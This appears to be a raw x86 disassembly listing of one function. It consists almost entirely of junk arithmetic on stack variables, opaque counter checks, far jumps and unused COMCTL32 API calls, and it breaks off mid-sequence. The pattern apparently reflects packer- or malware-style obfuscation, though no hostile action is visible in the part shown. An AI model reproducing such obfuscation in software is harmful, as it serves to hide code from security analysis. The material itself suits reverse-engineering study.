mov ecx, dword [ebp - 0x11e0]
mov edx, dword [ebp - 0x81c]
and edx, dword [ecx]
mov eax, dword [ebp - 0xae0c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3234]
sub ecx, dword [ebp - 0x6510]
mov dword [ebp - 0x4e20], ecx
mov edx, dword [ebp - 0x99e8]
mov eax, dword [ebp - 0x3234]
sub eax, dword [edx]
mov ecx, dword [ebp - 0xae0c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x11e0]
mov eax, dword [ebp - 0x2a9c]
sub eax, dword [edx]
mov dword [ebp - 0xcc0], eax
cmp dword [ebp - 0x83e4], 0x9df1
jbe 0x4062d9
cmp dword [ebp - 0x8474], 0x6486
je 0x40679a
movsx ecx, word [ebp - 0x194c]
add ecx, 0x6e1
mov word [ebp - 0xadc0], cx
mov edx, dword [ebp - 0xb520]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x727d]
add eax, ecx
mov edx, dword [ebp - 0xb520]
mov byte [edx], al
mov eax, dword [ebp - 0x7398]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x2421]
add ecx, edx
mov eax, dword [ebp - 0x32dc]
mov byte [eax], cl
mov ecx, dword [ebp - 0xae0c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x6894]
mov eax, dword [ebp - 0x1b60]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6ef4]
mov edx, dword [ecx]
and edx, dword [ebp - 0x9708]
mov eax, dword [ebp - 0x6ef4]
mov dword [eax], edx
mov edx, dword [ebp - 0x4c18]
mov ecx, dword [ebp - 0xa4bc]
shr edx, cl
mov eax, dword [ebp - 0x5020]
mov dword [eax], edx
movzx edx, byte [ebp - 0x2421]
movzx ecx, byte [ebp - 0x4a55]
shl edx, cl
mov eax, dword [ebp - 0x32dc]
mov byte [eax], dl
movzx ecx, byte [ebp - 0x911]
movzx edx, byte [ebp - 0x4a55]
or ecx, edx
mov eax, dword [ebp - 0x7398]
mov byte [eax], cl
mov ecx, dword [ebp - 0x99e8]
mov edx, dword [ebp - 0x1b60]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0xae0c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x741c]
mov eax, dword [ebp - 0x9708]
add eax, dword [edx]
mov ecx, dword [ebp - 0x5020]
mov dword [ecx], eax
mov edx, dword [ebp - 0xae0c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x6894]
mov ecx, dword [ebp - 0x11e0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1b60]
mov eax, dword [ebp - 0x6894]
and eax, dword [edx]
mov ecx, dword [ebp - 0xae0c]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x4a55]
movzx eax, byte [ebp - 0x911]
add edx, eax
mov ecx, dword [ebp - 0x7398]
mov byte [ecx], dl
mov edx, dword [ebp - 0x7398]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x2421]
sub eax, ecx
mov edx, dword [ebp - 0x32dc]
mov byte [edx], al
mov eax, dword [ebp - 0x741c]
mov ecx, dword [ebp - 0x9708]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x6ef4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x99e8]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x6894]
mov dword [ebp - 0x6510], ecx
movsx edx, word [ebp - 0x194c]
add edx, 0x39e
mov word [ebp - 0xadc0], dx
mov eax, dword [ebp - 0xb520]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x727d]
add ecx, edx
mov byte [ebp - 0x5f9d], cl
movzx eax, word [ebp - 0x1b5c]
sub eax, 0x9ed
mov word [ebp - 0x1b5c], ax
mov ecx, dword [ebp - 0x32dc]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x7398]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x32dc]
mov byte [eax], dl
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ebp - 0x4c18]
mov ecx, dword [ecx]
shr edx, cl
mov dword [ebp - 0xa4bc], edx
mov eax, dword [ebp - 0xae0c]
mov ecx, dword [eax]
or ecx, dword [ebp - 0xcc0]
mov dword [ebp - 0x81c], ecx
mov edx, dword [ebp - 0x8474]
add edx, 0xc
mov dword [ebp - 0x8474], edx
mov eax, dword [ebp - 0x1b60]
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [eax]
xor edx, dword [ecx]
mov dword [ebp - 0x2a9c], edx
mov eax, dword [ebp - 0x6ef4]
mov ecx, dword [ebp - 0x741c]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0x9708], edx
mov eax, dword [ebp - 0xae0c]
mov ecx, dword [ebp - 0x3234]
and ecx, dword [eax]
mov dword [ebp - 0x2a9c], ecx
mov edx, dword [ebp - 0x32dc]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x4a55]
sub eax, ecx
mov byte [ebp - 0x2421], al
movzx edx, byte [ebp - 0x2421]
movzx eax, byte [ebp - 0x4a55]
add edx, eax
mov ecx, dword [ebp - 0x7398]
mov byte [ecx], dl
mov edx, dword [ebp - 0x6510]
and edx, dword [ebp - 0x3234]
mov eax, dword [ebp - 0x1b60]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ecx]
sub edx, dword [ebp - 0xa4bc]
mov dword [section..data], edx
mov eax, dword [ebp - 0x11e0]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x99e8]
add ecx, dword [edx]
mov eax, dword [ebp - 0xae0c]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x6510]
add ecx, dword [ebp - 0x3234]
mov edx, dword [ebp - 0x99e8]
mov dword [edx], ecx
jmp 0x4064bb
mov eax, dword [ebp - 0xb520]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x5f9d]
add ecx, edx
movsx eax, byte [ebp - 0x2b89]
movsx edx, byte [ebp - 0x727d]
sub eax, edx
cmp ecx, eax
jg 0x49f126
mov eax, dword [ebp - 0x5020]
mov ecx, dword [ebp - 0x6ef4]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x5020]
mov dword [eax], edx
mov ecx, dword [ebp - 0xae0c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x6894]
mov eax, dword [ebp - 0x1b60]
mov dword [eax], edx
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ebp - 0xa4bc]
add edx, dword [ecx]
mov dword [section..data], edx
movzx eax, word [ebp - 0x1b5c]
sub eax, 0x59d
mov word [ebp - 0x1b5c], ax
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ebp - 0x741c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0xa4bc], eax
mov ecx, dword [ebp - 0x81c]
and ecx, dword [ebp - 0x4e20]
mov dword [ebp - 0x6894], ecx
mov edx, dword [ebp - 0x1840]
add edx, 0xa2
mov dword [ebp - 0x1840], edx
mov eax, dword [ebp - 0x6510]
sub eax, dword [ebp - 0x2a9c]
mov ecx, dword [ebp - 0x11e0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x741c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x5020]
add eax, dword [ecx]
mov dword [ebp - 0xa4bc], eax
movzx edx, byte [ebp - 0x911]
mov eax, dword [ebp - 0x7398]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x32dc]
mov byte [eax], dl
movzx ecx, word [ebp - 0x1b5c]
add ecx, 0x432
mov word [ebp - 0x1b5c], cx
mov edx, dword [ebp - 0xae0c]
mov eax, dword [ebp - 0x1b60]
mov ecx, dword [edx]
or ecx, dword [eax]
mov edx, dword [ebp - 0xae0c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x11e0]
mov edx, dword [ebp - 0x6510]
mov ecx, dword [eax]
sar edx, cl
mov eax, dword [ebp - 0x1b60]
mov dword [eax], edx
mov edx, dword [ebp - 0xa4bc]
mov ecx, dword [ebp - 0x9708]
shl edx, cl
mov eax, dword [ebp - 0x741c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3234]
xor ecx, dword [ebp - 0x2a9c]
mov dword [ebp - 0x6510], ecx
mov edx, dword [ebp - 0x99e8]
mov eax, dword [ebp - 0xcc0]
and eax, dword [edx]
mov ecx, dword [ebp - 0x11e0]
mov dword [ecx], eax
movsx edx, byte [ebp - 0x5f9d]
movsx eax, byte [ebp - 0x727d]
add edx, eax
mov byte [ebp - 0x2b89], dl
mov ecx, dword [ebp - 0xb520]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x2b89]
sub edx, eax
mov ecx, dword [ebp - 0xb520]
mov byte [ecx], dl
movzx edx, byte [ebp - 0x4a55]
mov eax, dword [ebp - 0x32dc]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x2421], dl
movzx edx, word [ebp - 0x1b5c]
add edx, 0x834
mov word [ebp - 0x1b5c], dx
mov eax, dword [ebp - 0x5020]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x9708]
mov dword [ebp - 0x4c18], ecx
mov edx, dword [ebp - 0xae0c]
mov eax, dword [ebp - 0x99e8]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0xae0c]
mov dword [edx], ecx
movzx eax, byte [ebp - 0x911]
movzx ecx, byte [ebp - 0x2421]
add eax, ecx
mov byte [ebp - 0x4a55], al
mov edx, dword [ebp - 0x741c]
mov eax, dword [ebp - 0x6ef4]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x741c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x9708]
add eax, dword [ebp - 0xa4bc]
mov ecx, dword [ebp - 0x5020]
mov dword [ecx], eax
mov edx, dword [ebp - 0x99e8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x4e20]
sar eax, cl
mov ecx, dword [ebp - 0xae0c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x99e8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xcc0]
shl eax, cl
mov dword [ebp - 0x6510], eax
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ecx]
xor edx, dword [section..data]
mov eax, dword [ebp - 0x6ef4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1b60]
mov edx, dword [ebp - 0xae0c]
mov eax, dword [ecx]
or eax, dword [edx]
mov ecx, dword [ebp - 0x1b60]
mov dword [ecx], eax
cmp dword [ebp - 0x1840], 0xcedb
jne 0x4067c4
movzx edx, byte [ebp - 0x911]
movzx eax, byte [ebp - 0x2421]
and edx, eax
mov ecx, dword [ebp - 0x32dc]
movzx eax, byte [ecx]
mov ecx, dword [ebp - 0x7398]
movzx ecx, byte [ecx]
add eax, ecx
cmp edx, eax
jle 0x406ad9
mov edx, dword [ebp - 0x32dc]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x2421]
add eax, ecx
mov byte [ebp - 0x4a55], al
mov edx, dword [ebp - 0x1b60]
mov eax, dword [ebp - 0xae0c]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x11e0]
mov dword [edx], ecx
push 0x48
lea eax, [ebp - 0x1104]
push eax
push fcn.0049f890
mov ecx, dword [ebp - 0x3854]
push ecx
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [ebp - 0x9b0], eax
mov edx, dword [ebp - 0xcc0]
sub edx, dword [ebp - 0x6510]
mov dword [ebp - 0x3234], edx
mov eax, dword [ebp - 0xb520]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x5f9d]
add ecx, edx
mov eax, dword [ebp - 0xb520]
mov byte [eax], cl
movsx ecx, word [ebp - 0xadc0]
sub ecx, 0x3ad
mov word [ebp - 0x194c], cx
mov edx, dword [ebp - 0x32dc]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x2421]
and eax, ecx
mov edx, dword [ebp - 0x32dc]
mov byte [edx], al
movzx eax, word [ebp - 0x1b5c]
add eax, 0xd1f
mov word [ebp - 0x1b5c], ax
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ebp - 0x5020]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x6ef4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4c18]
mov ecx, dword [ebp - 0x9708]
shr edx, cl
mov dword [ebp - 0xa4bc], edx
mov eax, dword [ebp - 0x6894]
xor eax, dword [ebp - 0x3234]
mov dword [ebp - 0x81c], eax
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ebp - 0x6ef4]
mov eax, dword [ecx]
or eax, dword [edx]
mov dword [section..data], eax
mov ecx, dword [ebp - 0xcc0]
sub ecx, dword [ebp - 0x6894]
mov edx, dword [ebp - 0x11e0]
mov dword [edx], ecx
movzx eax, word [ebp - 0x1b5c]
and eax, 0xec0
mov word [ebp - 0x1b5c], ax
movzx ecx, byte [ebp - 0x911]
movzx edx, byte [ebp - 0x4a55]
add ecx, edx
mov eax, dword [ebp - 0x32dc]
mov byte [eax], cl
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ebp - 0xa4bc]
sub edx, dword [ecx]
mov dword [ebp - 0x4c18], edx
mov eax, dword [ebp - 0xae0c]
mov ecx, dword [ebp - 0x81c]
add ecx, dword [eax]
mov dword [ebp - 0x6894], ecx
mov edx, dword [ebp - 0x99e8]
mov eax, dword [edx]
add eax, dword [ebp - 0x2a9c]
mov dword [ebp - 0x4e20], eax
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x9708]
mov dword [ebp - 0x4c18], edx
mov eax, dword [ebp - 0x7398]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x2421]
add ecx, edx
mov eax, dword [ebp - 0x32dc]
mov byte [eax], cl
movzx ecx, word [ebp - 0x1b5c]
sub ecx, 0x5c6
mov word [ebp - 0x1b5c], cx
mov edx, dword [ebp - 0x4c18]
and edx, dword [ebp - 0xa4bc]
mov dword [section..data], edx
movsx eax, byte [ebp - 0x727d]
movsx ecx, byte [ebp - 0x5f9d]
shl eax, cl
mov ecx, dword [ebp - 0xb520]
mov byte [ecx], al
mov edx, dword [ebp - 0x741c]
mov eax, dword [ebp - 0x4c18]
mov ecx, dword [edx]
shr eax, cl
mov ecx, dword [ebp - 0x5020]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4e20]
or edx, dword [ebp - 0x6510]
mov dword [ebp - 0x81c], edx
mov eax, dword [ebp - 0x32dc]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x911]
xor ecx, edx
mov eax, dword [ebp - 0x7398]
mov byte [eax], cl
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x6ef4]
add edx, dword [eax]
mov ecx, dword [ebp - 0x741c]
mov dword [ecx], edx
mov edx, dword [ebp - 0x99e8]
mov eax, dword [ebp - 0x6894]
sub eax, dword [edx]
mov dword [ebp - 0xcc0], eax
mov ecx, dword [ebp - 0x6ef4]
mov edx, dword [ecx]
and edx, dword [ebp - 0xa4bc]
mov eax, dword [ebp - 0x5020]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1b60]
mov edx, dword [ecx]
add edx, dword [ebp - 0x6510]
mov dword [ebp - 0x81c], edx
mov eax, dword [ebp - 0x5020]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x741c]
add ecx, dword [edx]
mov dword [section..data], ecx
movzx eax, byte [ebp - 0x911]
movzx ecx, byte [ebp - 0x2421]
sub eax, ecx
mov edx, dword [ebp - 0x7398]
mov byte [edx], al
mov eax, dword [ebp - 0x3928]
add eax, 0x4b
mov dword [ebp - 0x3928], eax
movsx ecx, byte [ebp - 0x727d]
movsx edx, byte [ebp - 0x5f9d]
sub ecx, edx
mov eax, dword [ebp - 0xb520]
mov byte [eax], cl
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x9708]
mov eax, dword [ebp - 0x5020]
mov dword [eax], edx
cmp dword [ebp - 0x3928], 0xbc5a
jne 0x406ad9
lea ecx, [ebp - 0x6894]
mov dword [ebp - 0x73a8], ecx
mov edx, dword [ebp - 0xae0c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x4e20]
mov dword [ebp - 0x2a9c], eax
mov ecx, dword [ebp - 0x6ef4]
mov edx, dword [ecx]
mov dword [ebp - 0xb698], edx
cmp dword [ebp - 0xb698], 0
je 0x406dc1
jmp 0x49f086
mov eax, dword [ebp - 0x1b60]
mov edx, dword [ebp - 0x3234]
xor edx, dword [eax]
mov eax, dword [ebp - 0x11e0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x81c]
shl eax, cl
cmp edx, eax
jge 0x406e9b
movzx ecx, word [ebp - 0x1b5c]
mov dword [ebp - 0xb69c], ecx
cmp dword [ebp - 0xb69c], 0xb
je 0x406e0b
cmp dword [ebp - 0xb69c], 0x42
je 0x406e5b
jmp 0x406e9b
movsx edx, byte [ebp - 0x5f9d]
movsx ecx, byte [ebp - 0x727d]
sar edx, cl
mov eax, dword [ebp - 0xb520]
mov byte [eax], dl
lea ecx, [ebp - 0x1408]
push ecx
push section..text
mov edx, dword [ebp - 0x5058]
push edx
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [ebp - 0x8098], eax
mov eax, dword [ebp - 0x99e8]
mov ecx, dword [ebp - 0x73a8]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x1b60]
mov dword [eax], edx
jmp 0x406e9b
push 0
mov ecx, dword [ebp - 0x53d8]
push ecx
mov edx, dword [ebp - 0x53dc]
push edx
mov eax, dword [ebp - 0x1934]
push eax
call dword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [ebp - 0x3234], eax
movzx ecx, byte [ebp - 0x2421]
mov edx, dword [ebp - 0x32dc]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x4a55], cl
call fcn.004018d0
mov dword [ebp - 0x368c], 0xa371
mov ecx, dword [ebp - 0x4c18]
add ecx, dword [ebp - 0x9708]
mov edx, dword [ebp - 0x6ef4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x6ef4]
mov ecx, dword [eax]
mov dword [ebp - 0x8f34], ecx
movsx edx, word [ebp - 0x194c]
and edx, 0x284
movsx eax, word [ebp - 0xadc0]
cmp edx, eax
jle 0x49f056
mov ecx, dword [ebp - 0x2a9c]
sub ecx, dword [ebp - 0xcc0]
mov edx, dword [ebp - 0x73a8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4c18]
sub eax, dword [ebp - 0xa4bc]
mov dword [ebp - 0x9708], eax
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ebp - 0xa4bc]
add edx, dword [ecx]
mov dword [section..data], edx
mov eax, dword [ebp - 0x1b60]
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [eax]
xor edx, dword [ecx]
mov eax, dword [ebp - 0xae0c]
mov dword [eax], edx
movzx ecx, word [ebp - 0x1b5c]
shl ecx, 5
mov word [ebp - 0x1b5c], cx
mov edx, dword [ebp - 0x32dc]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x911]
sar eax, cl
mov byte [ebp - 0x4a55], al
mov ecx, dword [ebp - 0x8f34]
or ecx, dword [section..data]
mov dword [ebp - 0x4c18], ecx
mov edx, dword [ebp - 0x4e20]
and edx, dword [ebp - 0x6894]
mov dword [ebp - 0x2a9c], edx
movsx eax, word [ebp - 0x194c]
sub eax, 0x51b
mov word [ebp - 0xadc0], ax
mov ecx, dword [ebp - 0xb520]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x727d]
add edx, eax
mov ecx, dword [ebp - 0xb520]
mov byte [ecx], dl
mov edx, dword [ebp - 0x7398]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x32dc]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x7398]
mov byte [ecx], al
mov edx, dword [ebp - 0xa4bc]
sub edx, dword [ebp - 0x9708]
mov dword [section..data], edx
mov eax, dword [ebp - 0x368c]
add eax, 5
mov dword [ebp - 0x368c], eax
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ebp - 0x6ef4]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x4c18], eax
mov ecx, dword [ebp - 0x73a8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x11e0]
add edx, dword [eax]
mov ecx, dword [ebp - 0x99e8]
mov dword [ecx], edx
mov edx, dword [ebp - 0x99e8]
mov eax, dword [edx]
sub eax, dword [ebp - 0x6894]
mov dword [ebp - 0xcc0], eax
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ecx]
add edx, dword [ebp - 0x9708]
mov eax, dword [ebp - 0x6ef4]
mov dword [eax], edx
cmp dword [ebp - 0x368c], 0xa51f
jne 0x406ee3
mov ecx, dword [ebp - 0x7398]
mov dl, byte [ecx]
mov byte [ebp - 0xb6a0], dl
cmp byte [ebp - 0xb6a0], 0
je 0x4070a1
cmp byte [ebp - 0xb6a0], 0xcf
je 0x407079
jmp 0x49ef8a
push 0xb4
lea eax, [ebp - 0x49d0]
push eax
push fcn.0049f890
mov ecx, dword [ebp - 0xa46c]
push ecx
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [ebp - 0x9af8], eax
jmp 0x49ef8a
mov edx, dword [ebp - 0x11e0]
mov eax, dword [ebp - 0x99e8]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [ebp - 0x6510], ecx
lea edx, [ebp - 0x2a9c]
mov dword [ebp - 0x6074], edx
mov eax, dword [ebp - 0x7398]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x32dc]
movzx eax, byte [edx]
add ecx, eax
movzx edx, byte [ebp - 0x4a55]
movzx eax, byte [ebp - 0x911]
sub edx, eax
cmp ecx, edx
jg 0x40713d
mov cx, word [ebp - 0x1b5c]
mov word [ebp - 0x6c90], cx
lea edx, [ebp - 0x911]
mov dword [ebp - 0x8bc0], edx
lea eax, [ebp - 0x2b89]
mov dword [ebp - 0x1868], eax
lea ecx, [ebp - 0xadc0]
mov dword [ebp - 0x739c], ecx
mov edx, dword [ebp - 0x741c]
mov eax, dword [ebp - 0x4c18]
sub eax, dword [edx]
mov dword [ebp - 0xa4bc], eax
mov dword [ebp - 0x8e30], 0x2c02
jmp 0x4071af
mov ecx, dword [ebp - 0xb520]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x5f9d]
add edx, eax
movsx ecx, byte [ebp - 0x727d]
movsx eax, byte [ebp - 0x2b89]
sub ecx, eax
cmp edx, ecx
jge 0x4071af
mov ecx, dword [ebp - 0x6074]
mov edx, dword [ebp - 0xae0c]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x4e20], eax
movzx ecx, byte [ebp - 0x911]
mov edx, dword [ebp - 0x8bc0]
movzx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x7398]
mov byte [edx], cl
mov eax, dword [ebp - 0xb520]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0x739c]
movzx eax, word [edx]
push eax
call fcn.00401120
add esp, 8
mov dword [ebp - 0x80cc], 0xb94c
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ebp - 0x4c18]
add edx, dword [ecx]
mov eax, dword [ebp - 0x6ef4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x5020]
add ecx, dword [eax]
cmp edx, ecx
jne 0x49eeb2
movzx ecx, word [ebp - 0x6c90]
sub ecx, 0x9c0
movzx edx, word [ebp - 0x1b5c]
cmp ecx, edx
jne 0x40720f
movzx eax, byte [ebp - 0x2421]
movzx ecx, byte [ebp - 0x911]
sub eax, ecx
mov edx, dword [ebp - 0x32dc]
mov byte [edx], al
mov dword [ebp - 0x8500], 0x5ce1
mov al, byte [ebp - 0x2421]
mov byte [ebp - 0xb6a4], al
cmp byte [ebp - 0xb6a4], 0
je 0x407233
jmp 0x49ee43
mov ecx, dword [ebp - 0x73a8]
mov edx, dword [ecx]
add edx, dword [ebp - 0x3234]
mov eax, dword [ebp - 0x73a8]
mov dword [eax], edx
cmp dword [ebp - 0xa010], 0x4713
jae 0x407511
mov ecx, dword [ebp - 0x73a8]
mov edx, dword [ebp - 0x3234]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x99e8]
mov dword [eax], edx
movsx ecx, word [ebp - 0x194c]
movsx edx, word [ebp - 0xadc0]
xor ecx, edx
mov eax, dword [ebp - 0x739c]
mov word [eax], cx
mov ecx, dword [ebp - 0xb520]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x5f9d]
or edx, eax
mov ecx, dword [ebp - 0x1868]
mov byte [ecx], dl
mov edx, dword [ebp - 0xa010]
add edx, 0x45
mov dword [ebp - 0xa010], edx
movzx eax, word [ebp - 0x1b5c]
sar eax, 1
mov word [ebp - 0x6c90], ax
movzx ecx, byte [ebp - 0x4a55]
movzx edx, byte [ebp - 0x2421]
sub ecx, edx
mov eax, dword [ebp - 0x32dc]
mov byte [eax], cl
mov ecx, dword [ebp - 0xa4bc]
and ecx, dword [ebp - 0x4c18]
mov dword [ebp - 0x8f34], ecx
mov edx, dword [ebp - 0x5020]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x741c]
add eax, dword [ecx]
mov dword [section..data], eax
movzx edx, byte [ebp - 0x4a55]
movzx eax, byte [ebp - 0x911]
add edx, eax
mov ecx, dword [ebp - 0x32dc]
mov byte [ecx], dl
mov edx, dword [ebp - 0x8bc0]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x32dc]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x7398]
mov byte [ecx], al
mov edx, dword [section..data]
add edx, dword [ebp - 0x9708]
mov eax, dword [ebp - 0x5020]
mov dword [eax], edx
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [ebp - 0xae0c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x1b60]
mov dword [ecx], eax
mov edx, dword [ebp - 0xae0c]
mov eax, dword [ebp - 0x6510]
sub eax, dword [edx]
mov dword [ebp - 0x6894], eax
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ebp - 0xa4bc]
add edx, dword [ecx]
mov dword [ebp - 0x8f34], edx
mov eax, dword [ebp - 0x739c]
movsx ecx, word [eax]
movsx edx, word [ebp - 0xadc0]
and ecx, edx
mov eax, dword [ebp - 0x739c]
mov word [eax], cx
movzx edx, byte [ebp - 0x4a55]
mov eax, dword [ebp - 0x8bc0]
movzx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x911], dl
mov ecx, dword [ebp - 0x6074]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x2a9c]
sar edx, cl
mov eax, dword [ebp - 0x1b60]
mov dword [eax], edx
mov ecx, dword [ebp - 0xcc0]
xor ecx, dword [ebp - 0x81c]
mov edx, dword [ebp - 0xae0c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x739c]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x194c]
or ecx, edx
mov word [ebp - 0xadc0], cx
mov eax, dword [ebp - 0xb520]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x727d]
add ecx, edx
mov byte [ebp - 0x2b89], cl
movzx eax, word [ebp - 0x1b5c]
add eax, 0xe04
mov word [ebp - 0x6c90], ax
mov ecx, dword [ebp - 0x32dc]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x7398]
movzx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x2421], dl
mov edx, dword [ebp - 0x741c]
mov eax, dword [edx]
add eax, dword [ebp - 0x4c18]
mov ecx, dword [ebp - 0x741c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5020]
mov eax, dword [edx]
sub eax, dword [ebp - 0x8f34]
mov ecx, dword [ebp - 0x741c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1b60]
mov eax, dword [edx]
sub eax, dword [ebp - 0x2a9c]
mov ecx, dword [ebp - 0xae0c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x741c]
mov eax, dword [ebp - 0x6ef4]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [section..data], ecx
mov edx, dword [ebp - 0x11e0]
mov eax, dword [edx]
add eax, dword [ebp - 0x4e20]
mov ecx, dword [ebp - 0x1b60]
mov dword [ecx], eax
mov edx, dword [ebp - 0x8bc0]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x4a55]
sub eax, ecx
mov edx, dword [ebp - 0x32dc]
mov byte [edx], al
movzx eax, word [ebp - 0x1b5c]
sub eax, 0xb7d
mov word [ebp - 0x6c90], ax
mov ecx, dword [ebp - 0x4c18]
add ecx, dword [ebp - 0xa4bc]
mov dword [ebp - 0x8f34], ecx
mov edx, dword [ebp - 0x99e8]
mov eax, dword [ebp - 0x2a9c]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x73a8]
mov dword [ecx], eax
jmp 0x407249
movsx edx, word [ebp - 0xadc0]
mov dword [ebp - 0xb6a8], edx
cmp dword [ebp - 0xb6a8], 0xcd
je 0x40753b
cmp dword [ebp - 0xb6a8], 0x395
je 0x4075a5
jmp 0x407629
lea eax, [ebp - 0x3b7c]
push eax
call dword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [ebp - 0x2a9c], eax
mov ecx, dword [ebp - 0x73a8]
mov edx, dword [ebp - 0x4e20]
or edx, dword [ecx]
mov dword [ebp - 0x6894], edx
mov eax, dword [ebp - 0x4c18]
mov ecx, dword [ebp - 0xa4bc]
shr eax, cl
mov ecx, dword [ebp - 0x741c]
mov dword [ecx], eax
push 0xe6
lea edx, [ebp - 0x2ec]
push edx
